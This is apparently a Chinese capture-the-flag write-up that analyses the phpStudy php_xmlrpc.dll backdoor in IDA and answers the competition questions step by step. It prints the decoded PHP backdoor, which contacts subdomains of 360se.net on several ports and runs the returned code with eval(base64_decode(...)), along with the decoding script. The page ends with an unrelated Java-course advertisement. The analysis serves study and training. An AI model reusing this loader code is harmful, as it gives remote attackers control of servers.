• 全国中职网络安全B模块之国赛题远程代码执行渗透测试 PHPstudy的后门漏洞分析


    简介

    需要工具和环境的可以加群809706080,有什么不会的也可以在里面提问,我看到会第一时间回答

    在这里插入图片描述

    1. 找出靶机桌面上文件夹1中的文件RCEBackdoor.zip,使用静态反编译工具IDA对该压缩包中的程序进行分析,根据提示来分析目标文件,将包含恶意代码基址偏移的范围作为Flag值提交(提交形式:0x1000XXXX-0x1000XXXX);

    进入桌面后,解压文件,可以看到有以下文件

    在这里插入图片描述

    通过我朋友雨泽的中间件漏洞文章和这个php的版本,可以猜到这题考的是前几年phpstudy的后门漏洞

    雨泽的文章链接:https://blog.csdn.net/liufdfd/article/details/125507247spm=1001.2014.3001.5501

    phpstudy的后门漏洞大部分存在于:

    phpStudy20180211版本 php5.4.45与php5.2.17 ext扩展文件夹下的php_xmlrpc.dll
    phpStudy20161103版本 php5.4.45与php5.2.17 ext扩展文件夹下的php_xmlrpc.dll
    
    • 1
    • 2

    我们打开这个文件目录找到后门文件

    然后将文件拖入ida pro 分析

    在这里插入图片描述
    在这里插入图片描述

    我们按shift+f12可以显示出文件内的字符串,在下面可以发现这两个奇怪的字符串

    在这里插入图片描述

    这个是常用的php小马代码

    
    
    • 1

    可以判断,这个字符串就是后门代码

    接下来我们交叉引用,跳转到执行这个代码的段,我们双击这个字符串

    在这里插入图片描述

    双击这个地方,跳转到执行代码的地方

    在这里插入图片描述

    在这里插入图片描述

    这就是代码执行的地方,我们可以按f5看一下这个段的伪代码

    在这里插入图片描述

    根据题目,将包含恶意代码基址偏移的范围作为Flag值提交,

    我们通过从恶意代码执行的地方往上逆向分析,在这个while循环可以发现

    在这里插入图片描述

    从最下面的恶意代码执行的伪代码跟着我的思路走

        v10 = &byte_10011B34;
        v11 = asc_1000C028;
        v41 = &byte_10011B34;
        v12 = 0;
        v13 = asc_1000C028;
        while ( 1 )
        {
          if ( *(_DWORD *)v13 == 39 )
          {
            v10[v12] = 92;
            v41[v12 + 1] = *v11;    //v41获取了v11变量的内存地址
            v12 += 2;
            v13 += 8;
          }
          else
          {
            v10[v12++] = *v11;
            v13 += 4;
          }
          v11 += 4;
          if ( (int)v11 >= (int)&unk_1000C66C )   //如果v11变量里的值大于1000C66C内存地址里的值
            break;
          v10 = v41;   //v10变量=v41变量
        }
        spprintf(&v41, 0, "@eval(%s('%s'));", aGzuncompress, v41);     //将@eval(%s('%s'));字符串和aGzuncompress里的值存入V41变量里
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25

    我只分析了一下关键地方的代码,其他地方的代码不怎么重要,在分析里可以知道,关键的偏移地址是V11里的值和if对比的1000C66C内存地址里的值

    将包含恶意代码基址偏移的范围作为Flag值提交

    0x1000C028-0x1000C66C
    
    • 1

    2. 继续分析反汇编后代码,找出在恶意代码中的关键函数,将用于字符串拼接的函数名称作为Flag值提交;(提交形式:echo())

    这个就简单多了,我们继续在ida里分析

    在这里插入图片描述

    可以发现,拼接字符串函数名称是

    spprintf
    
    • 1

    3. 继续分析反汇编后代码,找出在恶意代码中的关键函数,将用于格式化字符串的参数名称作为Flag值提交;(提交形式:%*)

    恶意代码如下

    @eval(%s('%s'));
    
    • 1

    由此可知,用于格式化字符串的参数名称是

    %s
    
    • 1

    4. 继续分析反汇编后代码,找出在恶意代码中的关键函数,将用于字符串传参的参数名称作为Flag值提交;(提交形式:%*)

    通过上面的恶意代码和学过c语言的都知道,字符串传参的参数名称是

    %s
    
    • 1

    5. 找出靶机Windows7桌面上文件夹1中的decode.py文件并完善此文件,填写该文件当中空缺的F1、F2、F3、F4四个字符串,将四个字符串拼接后的内容作为Flag值提交

    我们打开decode.py文件

    在这里插入图片描述

    关键的f1,f2,f3,f4代码:

    data = zlib.F1(data)
    flag = b'F2'
    hwrite.write(F3)
    hwrite.write(F4)
    #Flag=F1.F2.F3.F4
    
    • 1
    • 2
    • 3
    • 4
    • 5

    F1是python的zlib模块里的函数

    F1:

    decompress
    
    • 1

    F2是程序aGzuncompress变量里的值

    在这里插入图片描述

    我们双击这个变量进入查看

    在这里插入图片描述

    F2:

    gzuncompress
    
    • 1

    通过这段代码分析

    flag = b'F2'
    		offset = data.find(flag)
    		data = data[offset + 0x10:offset + 0x10 + 0x567*4].replace(b"",b"")
    		decodedata_1 = zlib.F1(data[:0x191])
    		print(hexdump(data[0x191:]))
    		decodedata_2 = zlib.F1(data[0x191:])
    		with open("compres_data1.txt","w") as hwrite:
    			hwrite.write(F3)
    			hwrite.close
    		with open("compres_data2.txt","w") as hwrite:
    			hwrite.write(F4)
    			hwrite.close
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    在这里插入图片描述

    F3和F4分别为:

    str(decodedata_1)和str(decodedata_2)
    
    • 1

    完整的flag为:

    decompress.gzuncompress.str(decodedata_1).str(decodedata_2)
    
    • 1

    6. 执行decode.py后将生产两个文件,对第二个文件中内容进行分析并解码,将其中出现的端口列表中的所有端口号一招从小到大的顺序依次排列作为Flag值(如:21,22,23,80)提交;

    我们填补完程序缺失的代码后执行

    从生成的第二个文件里可以发现

    @ini_set("display_errors","0");
        error_reporting(0);
        function tcpGet($sendMsg = '', $ip = '360se.net', $port = '20123'){
            $result = "";
          $handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,10);
          if( !$handle ){
            $handle = fsockopen($ip, intval($port), $errno, $errstr, 5);
            if( !$handle ){
                return "err";
            }
          }
          fwrite($handle, $sendMsg."
    ");
            while(!feof($handle)){
                stream_set_timeout($handle, 2);
                $result .= fread($handle, 1024);
                $info = stream_get_meta_data($handle);
                if ($info['timed_out']) {
                  break;
                }
             }
          fclose($handle);
          return $result;
        }
        $ds = array("www","bbs","cms","down","up","file","ftp");
        $ps = array("20123","40125","8080","80","53");
        $n = false;
        do {
            $n = false;
            foreach ($ds as $d){
                $b = false;
                foreach ($ps as $p){
                    $result = tcpGet($i,$d.".360se.net",$p);
                    if ($result != "err"){
                        $b =true;
                        break;
                    }
                }
                if ($b)break;
            }
            $info = explode("<^>",$result);
            if (count($info)==4){
                if (strpos($info[3],"/*Onemore*/") !== false){
                    $info[3] = str_replace("/*Onemore*/","",$info[3]);
                    $n=true;
                }
                @eval(base64_decode($info[3]));
            }
        }while($n);
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49

    端口号从小到大的顺序为:

    53,80,8080,20123,40125
    
    • 1

    poc利用

    可以看雨泽写的文章,也是全国中职网络安全B模块的题,叫做中间件渗透测试

    https://blog.csdn.net/liufdfd/article/details/125507247?spm=1001.2014.3001.5502
    
    • 1

    先自我介绍一下,小编13年上师交大毕业,曾经在小公司待过,去过华为OPPO等大厂,18年进入阿里,直到现在。深知大多数初中级java工程师,想要升技能,往往是需要自己摸索成长或是报班学习,但对于培训机构动则近万元的学费,着实压力不小。自己不成体系的自学效率很低又漫长,而且容易碰到天花板技术停止不前。因此我收集了一份《java开发全套学习资料》送给大家,初衷也很简单,就是希望帮助到想自学又不知道该从何学起的朋友,同时减轻大家的负担。添加下方名片,即可获取全套学习资料哦

  • 相关阅读:
    MASA Framework -- EventBus入门与设计
    Abbkine脂质过氧化(丙二醛)含量检测试剂盒说明书
    照片能做真人三维建模?
    【ctfshow】web入门-信息搜集-web11~20
    一种通用的项目开发规范
    为啥不建议使用Select *
    python获取时间戳
    项目部署-jenkins
    Java文件前后端上传下载工具类
    灵性图书馆:好书推荐-《零极限》
  • 原文地址:https://blog.csdn.net/web13618542420/article/details/126080935